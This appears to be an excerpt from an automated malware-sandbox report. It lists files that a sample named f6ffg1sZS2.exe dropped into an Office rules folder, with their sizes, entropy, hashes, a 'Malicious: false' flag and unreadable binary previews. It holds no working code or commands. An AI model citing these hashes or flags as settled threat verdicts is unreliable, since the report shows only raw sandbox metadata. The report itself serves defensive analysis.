Preview:	<?xmlC.J.Mp.A...SAp'.#.....l.G....b......YZ.K.^FZ.5...g.`<.. s7.&.x/......;..!%.L...i:[K}..L..o..B+uC4.h...LPs.X.5.....A...R.]n.9.....2.z>.IfgN.C..7.....X...d ..;...b....H.....N.{.y...M....:..@....L....~..`]U....0...S..@..UE.MT.`,\.....nO...$cC..9W............@....xu'../=..W..C........[.p.s....#.._.m.x+.o.\|.].o..<..DS...@.#...z...M.U.Z.d..)...i.;4..O.&.~...G.9].%Fg.;D..W..H.7.:..kP...Il..<QU.....j..;..HR.XE~L.". .:X.X.....,.7....x2.cv.%O.gP...g......J.K...........7..0 .x...\.,.5_...^.....P.....'Y.U.\83.....X<+..!0.F...Ea!.I..[.k.........K.i..p...8.F.&>...].@J.FX...L...,;1=.5...q.....B..5.>...I..#...l.k.xp....m......SJZ~...<.Za..L....I........]=...Nr....YB.+^Z.!..-.p;...[..&\|.....k.>.gd......y..t ..a.$.<.7w'n!(.?..C.'.Ry....5/.Jb.V.7-.....7.a...Q..+67.p........w.y~4o...Ief3.Kk\...........).3..H...#B.pOB....2.~^.dq(.S...."DV...#......}..=-..^..)..0......:q.z..<.WdNd..mo..}.@..T.5....342a..65......)..P...H7..rG3.).:\|..CT..B....0..9..V0.j.'..w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.89672783886947
Encrypted:	false
SSDEEP:	48:WdhqSM19q42EUiZp4t0IOtR95bXJCxTw5CGn2I3isb74HD:ELM1g4bZp4XkR95b0w5CGn2I570
MD5:	D6CBB9575FED3BC0A131063E7526B78A
SHA1:	657BCF99FD335F718EA661EA6C2CC58E57DA77C5
SHA-256:	5F9A0710AF83C1AA6AD546A97B09B0AEE1277DB5FFF62BE185116CCF33CAEE81
SHA-512:	755DBD3AA902EEEE3C566F93102104AAB3FD3D01A5A81863589CC27A7A60D39AF08B650D42E04DC16A0C8C3F6A84334ABDC77A14DFDFACE28EA0E200F4EEB5F0
Malicious:	false
Preview:	<?xml.l.b...........\|.}.R....2.~3.......#gi?.-.#'..u.....&...(....p.....`.....W.c.....j..6......\|.......m........S....!d...W......Q......c..y.Q.E.P..{./..S.....d..X.^.T.6......X.h.JY.....bV....\va.g...;+...r.8.a....lh...(..'._.P.......;../...2..`6^..Y....6...'dX.9......l-y#z.#!Y.9..7.Pb._PH...r9o.......N.Y#.A.<'.B...W.........+._.FO.(..<...=..I.a@..1..e.';5V.............D.-.J..M{...T...,m.Ks..L.-.$.3..+.=.v.1../;K`.W._.l..$....+9:.1.o.[..`w......??1.6.1.T.?.,..../T....1.=R..n....&.C.....C9e.m...#\~..4.....,.@p7;.t.]...E@..#B.......}........r.[.t.M..f.-.%...a...%.C.$..jW-n4...LXE..7........-\T.3.6.kV.e.SQ..(Yv.... ..M...q....3 u..'Gcd...F%E.c.n.=.N..rf.jqK.i{.&.p.-.gH.....$.%y.-Zp.....N.....Fd....Lu...d.....f.{a..D.(....u1.k.j...4.X....[.Yi....]..W..3.....I.dk.`..X).....B.u..O.8.\.-\|....!a..AV...,nK.t..R.2..^g].l&.."Z...........9....O.[.......O....loU.U.<...F...j..O...a..y...x.:..q.tChU.wP\8.N.....U`...W.._.A...l..}U.ZM_Z....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.8736810253708995
Encrypted:	false
SSDEEP:	48:wD+hhXv/LnU4nKm7k5YzBr+30xNXwQW7Yt2jND:wCLv/LTLp+3MIT
MD5:	A2F9FA07DB3E01F4061ECD7AF40A34F6
SHA1:	A253E9BDCD4413CABDDA9C72A23100FBAE2E9264
SHA-256:	41E399B77F4A3D85748200775386F3EE93932C3B9BCC1028A6F558E66F9C753E
SHA-512:	2C3AF3D87A53BC34BAFA8D13018ED0E1A4C2A9CB44F743677C7947BB63A718BC04D4DBCA3A8DB8D65951095BA7F29547F695701EA52408CA73B66684414A0C1B
Malicious:	false
Preview:	<?xmlM9.....(...5Ka [XnIe[.mg..dG..,.O..K./.DK..E.R....K...$^.?xn.'......Q7.......V+EV...^,U...@.sE4..0e..Q.Z..e.....-.oi.8....rL!.>!K?:.D.............T.1[.....6d\`....?..]-..c..#..X.,.0......w...t.`.KlLc.+..3.........y..}.s...\|.S.r\....j........A"....p..o....e...C....4._.L..i..$NA.F;)....6A^......Z..E2..._..8B..R..k.u.!.%...dx.......<..-..W.....v(-.z.V..A..8W.....-..$e.f.....~.....\|.......1..z..T.......Y.#....Q].u...=.q.A......O\|u......[f..@.o\.F.C..L.....X...\.@Sw.-fD..f..hO...a....\|..h.I.!.x.0.9.].I..%I..G./...).<.W^.-Y..Y....b].;.4@....z..i.....(..N....-..dz.'...Q.Kx.g........8+Zm.0~_.6JdH.....Q...0.y...S.......x....K>H..j..W.........0..U...-_..-{<.PooO...b1~g._.B..4Wp.dDZ.j."!<o...h>^;.]%..6V...._G..Y..=!..oxsi.~.#.([..^.bjG"....2.7.G.v{`......>n.Fh_.kc`=...8.TH6...yG...b.n!........N.f.`.D..}.U.F..O.k......2y. V..w..SX.F.m.9n..d._.%.9..8."."...P.-t.)...q@.S...#.*s.Al-l....Iq^4b./....a....@Jp...Zi...EI........x...4..a.hm^.=S..c.?x.Y4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.883452336687
Encrypted:	false
SSDEEP:	48:gklaHtw/+Gc2fthRrR+bIR7soSGLDYEtSM6D:blaNm+kZR7FsoSG3YqS
MD5:	C600E191B2C9F431D8B090703A094165
SHA1:	B18D1CA30863FADB9C76967FA20DAF59162472C4
SHA-256:	87B8A9286C5EDFFD94B24050FFDCC506602E482C3691851DDF460E5C29A8D6A5
SHA-512:	FABF35F7B7C30469FA68CA221D5B727FAF22408DF20F7D3B591910BE3BBED96FC6321E4F27A190DBC152008687655CCA783CEAB71D0F0630C0E048FF80C20F4C
Malicious:	false
Preview:	<?xml..@...[chw.Q.....\+......$4.-]<..Z3$x".>.X..$.../..D..{M.._..4?..Kj.jxR]...3..0B..ts...Lo....t?.b.zD...[in.O....e<.F'C.e..z.`"wS.k..~....S.....m.gJ..t/9.....P....hS.w.&sC7.Lf.9..Z..1......B.d..].e.:.DH.....b..H...._ e.....1....Y,.L;.)Q.T........c%tS..C.U.xy......,.....~.. >..l.L.....TM._..n.Z...AJ!.......i..+.....X.l..6K,..".D..L....]..-.m..5.k ........269j..;....Ui.X.[V.+.%S..o.6..)..i..........<w..4Lr.C.+..B.0h.p..........F+G.ES.>3......f I......I.k.K..$....h5zUs..C..I............>I\|......5..kK..4...RJE..p.....a.m....T..+j=H~...3X.../~.M.....2.4....\|\|]%.....l.3.<.J.I...0...I{(...0.....%&......6..i&...4.L......p..Z.....Z.G......T]..vk>..e&w.!....C..].;......m.N.+.,..H%. .JEa...i...r..}....v..........[..d...gTw..2In.#.3.......3J..mp..g.'.Z....{a06...C.u3.(..P....7R%.....m~Jt.X..>.&..!v.....f...l.. ....2..J.....}.p...9+.\.OW.......Q>...../.+......W.!P. .. {..s.0m\|../Q.9p....$.:.i.L.X.&..14c..b...,..<...H..x..K..,./......$...w.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.8652871888711
Encrypted:	false
SSDEEP:	48:Y+fXNt3HXewt4qupRiqKnLD0u6XAaaJLjgtIImD:YKXNdXewtDuGnXCXURnI+
MD5:	277F7053122001924FB405868C984B9B
SHA1:	A65B6714256DF9D242ACFEF0E85D3CA793509A21
SHA-256:	4B39B0BB6C175745E3CFC6CB6741DC06C14D1C7000C0C66AEAA704D58B39638E
SHA-512:	B8839D15D4ED9123635C47A6B736BEF2B2216F4282908DAE2503D554E13745EBAF5E8F0F64018B17CCB32E9397D690EFF9ABEC8EF85D8C5337F9F86350E416BC
Malicious:	false
Preview:	<?xml...f5......x..'.j...e.Ab...-p.bK.~.'P{U.;.....X6.8..).EZF............ .. ...1.=o.......M...,.4..Dp....C.AZ..J...$B....C .3.....9.w{...@RE..H.n..m...Ao.=h..^.>...!0...".\..6d .W.~Hp.P.@...?....zU...`.........b....O#h...2;.k.2p.%..n...hKg._.....ff...F8{..W..n......C!...E.1.u]w...T.I.)....@.C....BX:...i.AK...B!.`H...4.E.R].....w6.+T.V..W.....~./.6.b12^+L..g.I3+H...:..Bg........x.'.h.....w....p'.u.C.1.Y.../..'.....;...S.,\..AK&o..$:`>..p...J.hk.7-{}........K3..oj/....{...,{........_z.2w....G...N....:.f.IK2..P...,.P..3.o..^.X.\.[/.._/yr....m...e.}US%.e.&.N>....\|..G~....._..^...z.1G...>?.8M.d.g...G..a.Y.v.Ud:.ok.::!..\|&.'....xm.\.o[a..i...b.6;..m..~O.)P%..~.d.........u#..hr..^=AsC.Q...S.p.\.Lig.....KE[:5.y.M\.H......#.d@.`J..b.Y......b.....u.g^.....].>..A.....n..<@..F...).....g0i.._...q.^...<_.@.Y........NmS.s.AI,.......'B.+....W....1w..R.[AC.....4.............#7..c65......w...!...HV.:...'4.Ly8.}S... .]..8...Y.v...!:~..Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.871502043011727
Encrypted:	false
SSDEEP:	48:g9EnDBf/LTGqazovHvjp3k8szXE6wlF3D:7/LT60HvdkPAvz
MD5:	56C11A90C21D34153C141D35AAA2EEC6
SHA1:	6442FCDE0A93E23C69E615B3A9B7D20C1782DF2A
SHA-256:	DA777AF99C09EF67BD1F3B2E54BA133EF067D454F9A63A05F82A22421F585543
SHA-512:	77CF56B6E3BC57FF2BF9503ACDF8EE816AD908A95625A6B200E330FFD2BB81171D76BE79A234C995E95267120458F2F9ACE3BD914CAC119E117BA88E88063BD9
Malicious:	false
Preview:	<?xml..r.p3U.5...3.8....4."F.$..".}..5Z..h..kl........j.u.-.....3.k..f!.Z..A....&!.G.Nm..,.Z.....x.l......I..aH..F...f.)...En..G.y.N.&m<....21^.=...........M........_#.Vq................8..L..#K.F..-..b.UK...H.N.q...U.J.E5\0.D.ax...qF..+..X. M..T:.../.:..2....3O{S.......{.u.4.. -..j.......#h7.Q..........z.n"....o...g<haC.....\|.p..]...4.[...S...q!1..n.!:..........Nq7...'`..Q.b.6N.......+gB......k?..f.F;v...y.BSv.....!...DkM%.;.b..l$B@\=.i.....E.l..'P..uo....Y...w..'.,x...5.....7.}....7C6M.3o..w....NR...4...I5....E..c..^.M..\h.,.!..N..._..&^.Z.8..x.&..p.........7.=..WA....?....f]....@..gl{ov. .5.....N1m....}m.....6~..K.w......(.....2R.aZ.4.v...xOu:v..........I.'...4..,."..p2v.....mx..)...[u..By..)e...c.....#.....BmJ....).K...g.,..px}..UM../e-..M...B...uU..8h....:..]...zm...iH.r/..=O....\j@.~5\|.u..\|L.nzLz..$TY1..r.=o.$o.XJ....d+..>R.,....&B.D.>wH..s..=......qf..H...d.<g5I:..Q.r5Fy.......*.\|y~.....,.$......+.-.+I...z..........3&pf;`.ny.x..(ur

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.907582209742674
Encrypted:	false
SSDEEP:	48:kqMfG+/t/soLREy4hoI8WW1cWIUZ7OCeXvWCreWTD:kqw/tUeR34hbVWXapvRr
MD5:	0404EADCBE0F660A7AF022C26563CB8C
SHA1:	E8D19C2830714C0B758224C732C0087E47FCC720
SHA-256:	4ED8EF0A10FC20B3A5A0E701E286154D0F8EB3CF3168747D30BB85DBEB0BFACC
SHA-512:	7B5C81B8AACF4C05C2FCE97156541609382285077D78D36DD1096659E27417864708841E795CBC31B06C4079CE52328D57D3E0CB0E7D8EB35A1AE3DFC4824C2F
Malicious:	false
Preview:	<?xml"..^....j..~k..!.........3].`..../...F.?}F...56G...+..!e....e^%. ..P....m...=(......./KE)...7.7.\.\|.p.hG.C.....s[......N.+....Q)...X@:...[......0.y...-....<.k.....0.....6.e@.'.G3...:..+@.p}k..hG..)..Io......XY......_/9..iN?..~5Mqd..w+ ..D..."..h.@...7C....A/sg.\|.......M......P&.[...:.....x..........Q.l4....1..Rw....f^..iE....-...N,..(..U.......Z..\|.@.\Z......l.q#i...?W..D..._4.b...v..c.ip..D.E[p..=uO.N.HVQ.J.4+....wq...1=.EC..@G...m.gYZ..^.9...R.E.L{......0.V.Q/N.......>.[.q#.<,./....& .".......Bw......t.]...V.K..\|..@..l...........\z.}.`g.]@I?..{.q_.9..k4.m.....h....O.;..0.uD.\g,)("...N...........Y:.}..\.h...^......aj.....C.............!K.F9.L....i......;Q..3.s.....O..........u.....K&..`P.p..f..4.........z.v.FT..U.H... ._.^w\|h..p..W.h.:.=..J...3b...h.f.......T..b."..c\|O/A.E.-..0.[....)a.DW.eW..}...A``...{@W].<.2_B..4..x............r.;.l*.F.....:0.G...LS2.......D&..8...eh..F..nXq.8.0.U.+_...o......$.....>.Z..`..i[...wH.s:q...hR.S.q._;.U6G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.887082923368403
Encrypted:	false
SSDEEP:	24:MTQjFllkRZHlAMQroQxW0VD3EsT1VBoFVAiumGNb2auw8Hw4vv7DJzzbnwB4hbD:gQjFQarokx13jAVhumaJE7D5zbnwBcD
MD5:	C9ADA02883A451A8366986772E151746
SHA1:	93433BE2522A01AA92CD1176064191FF02E5D1BB
SHA-256:	F62102BE60466405675FFDE61898844A5F77FAFA083D365E3C0E491CBC13A3A5
SHA-512:	527AB72488859777A850AF83E04140CC6FB883EF59B9817F3DFB955848123CF4171AF66D5F664E069B798DA4D0C29AE273FBFB676EA9896198114767E1AD3515
Malicious:	false
Preview:	<?xmlY%AB.../....H..3.'.....4.y.>...G.I9)._..DL..\|.......;>@..QK.....;3..Gu.ak......S...<~.. ....{......X\.q..9EO..........n...S..u!.YX@;.5,g%.0..........D.n...s.....l..z.Q)X.".~._w.......=.rW..5^.T.rou.U. .b....[.ap.....2.N1..<..\|.#....U..o....P.+0"K.V..B....\...........#.?...n.W.},l...5..j.y..;>.L..G.~{n.}....C~].H..1.8.!.cc..vA.>...l\...{...hp^.......b...< .R)..[.v.c~G-q."zn..g.k...Fn.N..........`.+v_.....nMP...t.[.k..M.....q%..x. .yE...L..E..K$..}2.-~.8%V\..5m.ztO..W.A...w.......]<....U.a........H..]..g.G.Z3..U.Q.z..M.Y].....JJ&J.[.~..o........E.>6.....$.../...w)f.E.Q..'...c.sF`..&...Z....AP...9.......pB..>?.%..9$...K....g.s4....SK.s.t......4s..&.U.".~FL.'..g.7+.c........;=.7A..N.s....s..NS-.N....4-Y\T..0.d.$.8u..98...Hi..oT..UDB.......K7...\7..NX!l/.#..Vc.J.%.r.V.D8G.!YC.g.n...v@.....w.,,....'%g....^..(1.....N.8..{F=%Z.....{.~.;r.Tn....#..O.l.S.Z.4>y..*.?+..~...+..8Pn....O....]}.B,..1(n.a...S[......7..A..+.A.^.pq=F"?...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.8811802846606
Encrypted:	false
SSDEEP:	24:1oedIk3pfQuOgmBpMfNWmxqPjCesKToVoD2siOvJjgKXatvMO0a1CuILV2FtUUbD:OsdH2MFRxaCA8u2ZOvJpaRMf8UV2tU+D
MD5:	F0700A8E6E8559C1A2AE251A00E7272C
SHA1:	C19A2BCD8AC5F01525D1D90B2FF74B3E19F5FAC4
SHA-256:	FEFCDA56D91981BFFED538F96951D5AB3D996D5F007010C82331388046FF5ED4
SHA-512:	D6395ED2C71761E5269BE985342754E02D1D9CC8AADB52E871AE2B1D29CC51CDF61D35C65CF59DACA113EB4CF7DF04AC8D95483DE704BE6E0945D0888F9F0958
Malicious:	false
Preview:	<?xml..A...Q..,C(x....xb..}G.!..@z.y...+..W.r..Q8~KK..........^z.+L.X.&....-.k0...g.o.y]..E......i.:+R$..=+.....4..,4...&...N...:.o,....\..+.._\|E. ..i..lE../.3.e....f1.....'.....K.x#.='G.....:X!........._R.Mt....J...snY...i(NR._..=K....).~....9.......nT....d...v......H..........;.T.=.K..Z,d....0..XMn..,.n...{]D.J.!.....l....!....b+=..,....;+......R....U......(I.......9n...w.o..H.... @"..L5.=.~[.......IId-?;w......~..{..$..*..#...0pU^...w.u!.30..KM...bI7u..:9_B.....Y..(....p......+#.rF..K...g_.v...s......0.e\|....AK.gs.q..R.._Q...x.....,.KX.;_......K.B.5....o...G....].D@.....~..!...&....C-Y.a.n\...K..xQ!...........r...w.5@....iW.^@6...i+S....Q.\.k.Ke.....}.N;b.V_..........@f..<.9..+..6e....:.y.K..d$q[.6.K..2-..D...zBx.4)....p........?'pC........tS..>P;..m...;.,...#......Yn.Jo.."..c..'.B..`.;Q8...``.~...N...yb..W..=Lmp............J.z...&..tF.&..2Cv.....:..F6.(..$.x~..........n........b..O9d..R.^q..!......O...-..I..A.oA.V.......P.S+...C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.887872155269865
Encrypted:	false
SSDEEP:	48:KosGcAFWYDN5a6AbxqdYhetplEopNDHODXyqD:Ki3nn2xqdYolP1HEJ
MD5:	F333870CD997B69359D9EB0D616CEFC0
SHA1:	25D897D147FB5E3BC22154629D868274FFADEFD1
SHA-256:	6D67BE203BBC549C8E60413CA0F446AFBFC1486D464E5B2E0427D8515733DDDB
SHA-512:	322ABE73C8A6FA1DA65B7D9E0EFA7A769BA948373941CBB59F5F80F5B555E99813F4E09B9AF9503B7DB250AFB8407420D7A3645B01FE9F53368A4BA7C05A3844
Malicious:	false
Preview:	<?xml.....Wa.A.....T.(..x.....=S........eS.K..J.W...L[.\6mf.{.."...^.+EC.....c.\.....?./...V.pm..+...t..l.ZB"...gY,..3.8.-.....d.6.7W....B.L.....%.+.H....wK....p...."v.....>$..xJd5...."..........9....>J.)&...V..s'..[.....0R.}..P......-J.a...N...yq..(0....Y.....:....lJ.Z.6..^@....>d..........Y...u.N......................B...}D...So....\|...o.c."38.DQ....(WG.g..J......C"...0\|.e.n..#......i.....O.-.V..j..I.&..q4x..xYYO.j.....1.R..........]@Vy._.4U'.y.MYAO.q.....n.....\8_..0@}H....s.6.QT.(.I.....X...y>..@D...u....Q9\....Y6.....s..4}^...K._..$.....W.N?........s&.k..8..a..x.....s..y.....T....d........%.@..j`.e.;.9a.....(.#e...E..j...3........+..$N..'.A.R&c..2.b~5.o..n...cG..0..@.."o.H{.?r.H.>7.\.S...k.P...-.L.En.....p....W.7K?..N..:q......6E..l7...d..".)7).ue..+3f...>....}._BVa..U.N.H_[.....T."L..;.......H6O...a.5P...... b...sI.f.7..!7.p..U...u.q.q..M.w.XN..c...".9..zam..`.{.y.?...mj..s..^A..:...*.}.4..4.).D..T:<4V..2..a...s.%,f.-.9~.PmXHF+...J...k....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.874194807712518
Encrypted:	false
SSDEEP:	48:T1XS7qKDXMVYzQo0gOIRS8drTRrvMV4u+7rJQJD:6XIYzh0g5cqDMV4u+7rJO
MD5:	7F7B4DB1CA88128CFA1F8D87DDDEE88B
SHA1:	5B1CB93EA2FC04FE57D13FA200A87DC8EB6037AE
SHA-256:	52B048693FE63371D25D6CB91A0DB1D4B0ED49BC2EF012D739E76923784C1B4D
SHA-512:	1D81FA3ADAE5FE5243545A1B881C7324E680D265EA1DB2B1A15A491BEFF33AA87010AA791B03C084C84F6A7789EE717050D30CA109C0D5E7B4D8502FDF3467A5
Malicious:	false
Preview:	<?xml..q.9x$..U>.r...:.gC}..5...V...}......}T....\|.bWmC7.....y9.t..2..Z.e.R.5.._K^..-y.=.l.;.-.....KL$.M6^n.z.P..Px.d.g..m.<.&._....#..p,..w.........j\|k+.'Z...... .."$..2<..~2KLhL...."..P.9FI.xpy-}C...#..=...:.?.6.).....w.....m....o.r=.Msw]cs..x..LMx.!.._.y...Nc..........'.........K. ..i....R.O..I>...q...[../.2+>v......y..UJ......E%......l..})...t)..S..L...xeA..~4.Y..,K.?w...m7......r.w3..2L~..<jG.\s;....w.1.6.w....@...O...?>.\|5....u<6'#.k.../Z...........o..E..I...l....\.R...5.V..;.i..A `..-...`^=....Oe..M...N...-} ..s.,.(S.X....l...?.{u...z%.......J...a....~..EDe..\FQ....._...O...>R..pL.....fU...D#.).g....9r..7...O.F..R.$c..kX.%..O.3..[p;B.......v.`......@..W..U....M...z3.k%.0....j;.....b..g..../..CHdQ..z..+@%..{aZ....Y6.y....?U.)....~......Q...6./^E.(._.<...?e....}...F....._.......ZYj...\|(..1s.,.k...T...t1........;.Y..3.3......H.Gp..g..H6.......`L..Q...^....93...a.F.p-b..D.qo.......[..xKk....Y.U3X.%f.l...r.#.....L....A./.z...rv.. .....MStZ...L.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.892373298721412
Encrypted:	false
SSDEEP:	48:l4/D35OXNdL6mWtyRrl1WL5VKX9Ed4z7WkD:lAkXNdL6R4h1kKtEuqw
MD5:	33F1ED68552DF13D4DF753251EC7592D
SHA1:	A7A6C6BFE2D335DF9FFD98DB57D9C4641E852E7B
SHA-256:	EBFDDB2974DC60A54EF905B5185627CE032CF334692F7B4C26AFB258563545E3
SHA-512:	9A588A50BA22CC09BF52B800319B1740FE78211A0B3686493257777D28F4B34152E1CE517295057E372DC3A04124EE1836F754E861F7D1CC84C5ACD49E606FCA
Malicious:	false
Preview:	<?xml,I..4.u.X.l.@fy.3.m1..i............mq.D(s....].).......$.....V......?.o....:.......3.i....v..=.!.qx..3....j[>..q.......wa..>zS/......q..Q....%w........:rK.....c.A..H.O.=..!)VK..3..f.S..n..]U.9.S.../...l9.,.6....'.....5..!Mm.)2_$......G...6.D.'.].BW...#.=.O.4'Nh..y..:Q.5...x...f.j.9.-..m+r....0#W.(.@.Yj...:\...L%R.-...>or`...ez..&..ib...!...^9..._W.I......x./..ye..".J;..z.......1?.......C=i...^3%q..)........d..L.8..{'.x\.~..+.H.l[......j.<f.d...fm.hO.[Pq.0..6\|T..U\......uK..{^.e(...AX.Ur...".O.&.[(hvtv...#.}+.CH..Q....F&..&...ajg.nad..5P.6..i...l..T....x.nx.W.......q...uB6..3.....v...J..I.D......^.....!..(...9~0..e..O.<R27......cU.....@f..^-.I"<.B.......]B.....b8HC.........h....?.c'..x"H~g..j.p..Y7Op.j..G..E.B...n#.+.v..R..D.{x.N&.Y..a...a.t....\|...-../......e....4...\.w.,d...9.....>RR."...1.6.8....9.......iR...u.Y...W.`..R.=..y..B..z.Z.."...V..:...P:.].h..m."....B+`\.9.(.d..4.Qj@.}q.P.O...l....<..?\|.+s..P.g...f.....U!#.@.qIK..R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.869363914725245
Encrypted:	false
SSDEEP:	48:Y5M3JYNX3NRWV0q6nLlUX2KBnwYWE8nYmEjnD:Yu320H6nZ02Ktzl8YmEP
MD5:	9823DEECCCF13891616C17F8BA79E661
SHA1:	841BEFE5111C6B86DC19DB9F959EDFC43711E3A0
SHA-256:	894C435B3384D09531483457116880BA25D1E630933560F962208C09A276F1E5
SHA-512:	C20EFD4DFF3E943993EE5446BB2CEBE068BC7C40E10E055C3A41F6518FDA9066AFA0EBED3AF6F3197F39F04AC28C62CF8CFF88EE28111E4AA88E32EE720A028D
Malicious:	false
Preview:	<?xml.......T.............Lp.....[g`N"..Qi..+06=...9$T65.x.P.P,j6p..Ce...P.6G.B..E.i...?.....=..#..Y.T.....k..-.~Sw.r...s....fca.S.4.W.....F...;X...o.....A%G.U...0/.m(..D.....g..[....U.....eR..@&.=.L_...+g.W.-X}....e.'...)1.......8d..T}fo4....LA:O).....x...G.._t.9.....o..2.<...-l}..C\|.q...pE.r; .d^...K.b.q.&..&....&f-.]GlX........u.PY%..(.V.....F..M...&7....nN.k....8.j..<....r.\o..6...r.?..!..b./...k;q...<)+.......\..~Dg.".S..)O.7.6.(D.T+S...w.M..a..r..z......g_....T.3^...w...+${~.....:gi...}....z..U~#d....x...H.!g?.~...].N_.W...D..if........."-..DE....u.a...E.%....._.hC.;..\|.'L..oH/..T.b..._..6uF..uW..O&.f.W..U...!..T[.[.g...%.z...+..f..=\...A..%E.t.le`..u..h.....d .rz.[W.F8.}..g2%.u....HH.K.K.iU0Z....v...!..S(s..]..#..5v."X#..4..l..[..A..0.........y....Q.Q...KqK..........f.>.A/...../z.....:.t..O5?U.r.N..n{.....O..oQ....=..@...v.@..4.e.p...J\|..[.9.3a.(2pv...-%....l.m......X....z...X.._l.a`..Xp.k.i<.Y...S.V]..%..f..lQ..m0....[.H......w...o...?;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.894732061812387
Encrypted:	false
SSDEEP:	48:r8l2hy84WJBlsUMFSJT+1fYQCPyjbKxdUqp3ZCC3LAD:o/8DJ9MFJfYavKxlJ9c
MD5:	ABD940D4B53B57A56CB72421FA35F117
SHA1:	26349D796E34AA7752389B6040A8F9C5563FBF67
SHA-256:	8A038ACC84079ED27032152317E353B7F1B27C89EE0876EF9F4588EC5CBFA1E4
SHA-512:	718E7F01A4031F8D0F18152C411BAEFC1C08B27B6291556FE8B24F3EDB9170ADD261B1EE162431894E21CED5BD35AF450D95D348DF3C758C310577033B336019
Malicious:	false
Preview:	<?xml(.........Thk.b..X....{e..$n.Q.0..s..&....q.......6...."..........m...l...^....Yh..2.0........c.'c:..,.....[9..j.uE.k,..m=).L_n-..$.....P...Y....g.5r>....Cw uI..o+..p~..b...0k..a.>..=.u..^J.?.\|.C.C.S..r.X..`.x%......g.....'.y..1...g...Q..........f>.S.".j...w.D+"+...z."C ?........;...'_-....y..-Du.YFUg.K..1r:n;.%....D.....!....i....E.hc..F........B.q...../Yw.0Ox.j #..5=.2.NP~._WCk.j.....nh.+.....)&.R...o....a....5.....P~i.V.Bq.0.(S...Af#}e.j.vz...&.T.]o.h..k,.`Z.5..Z...6..+...M...84.N.[...z.[.T.^.Z.6...@;.1..5aC...h.=...P9.D.<W6..qq...~x...K".Pa...JneO.`[%2^.,.e...u+h2r.......:`.'.....`M".g.."...t..:s...}H....?/..@.S.}?..a]...p.o..uQ......v..E^.d...>...~[t.....v..>.8.9....S.C.,.V..L..u....:.Fl{'.".H....r........I.v.....s7..r........*&.,.W..j,Y..O.Hb.(;....H..Q...^!G...N.w...i..+....R...a.iZ.....P.P4+m...(B...o...$M..a]HnX...........6Z...vr.Z.xgX.N.7..d......L/L..RM..<.8....sXc..rZ.2D...:.9.>.rby&.......<..J..e...D!.1I.Y...F)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.878052553548428
Encrypted:	false
SSDEEP:	48:Im+ODKzHC+Ayd0hAcHW4C5ED++DckqCpa9D:Im+O+AjhA95Ei+jqCpaF
MD5:	D643D35FF58E3E7EFA6473EF835AA752
SHA1:	056B2401BA5DF315C017196043DD47C37835BBE2
SHA-256:	430D69D989E929CF652357012AA3FE251FFE8D616505DA3E330DE6E18CFFBA6C
SHA-512:	9D407DC1B1864DBE886146C8C8A2326C64E0506B804F639623FF3BF7C6838BD691B9ECBE48FAC5B54742B0D798A75A41104B80BE69DDD2780ED990B7D451CBE2
Malicious:	false
